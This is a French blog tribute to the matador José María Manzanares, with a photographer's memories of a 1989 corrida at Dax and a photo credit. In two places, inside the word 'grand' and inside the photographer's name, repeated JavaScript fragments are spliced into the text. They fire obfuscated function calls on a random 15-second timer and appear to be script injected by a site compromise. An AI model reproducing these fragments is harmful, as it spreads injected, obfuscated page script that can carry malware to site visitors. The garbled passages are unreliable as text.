GALERIE DE PHOTOS EN HOMMAGE A JOSE MARIA MANZANARES

1987, j’étais jeune photographe et déjà aficionado débutant, mes premières images au callejon m’ont amené à voir Jose Mari Manzanares dans ses plus belles années. Je lui dois mes premières émotions. Bien que je fus novice, pas de doute, il était le plus grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and. Un de mes plus importants souvenirs restera la course du 15 août 1989 à Dax devant « Bigotudo » de Maria Luisa Dominguez Perez de Vargas, avec Jose Ortega Cano et Roberto Dominguez au cartel.

Cano partit au quite : chicuelinas. Jose Mari répond ! Chicuelinas enchaînées les mains touchant presque le sable ! Divin ! Le reste sera stupéfiant de technique, de temple, d’art, et de classicisme. Superlatif. Aujourd’hui triste journée. Je me suis plongé dans mes archives, souvenirs éphémères et pourtant si présents. Il fut mon premier amour taurin. Il n’a pas pu une fois de plus « arrêter le temps ». Qu’il repose en paix au paradis des toreros, lui, le Torero des toreros !

photos Bertrandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and Caritey

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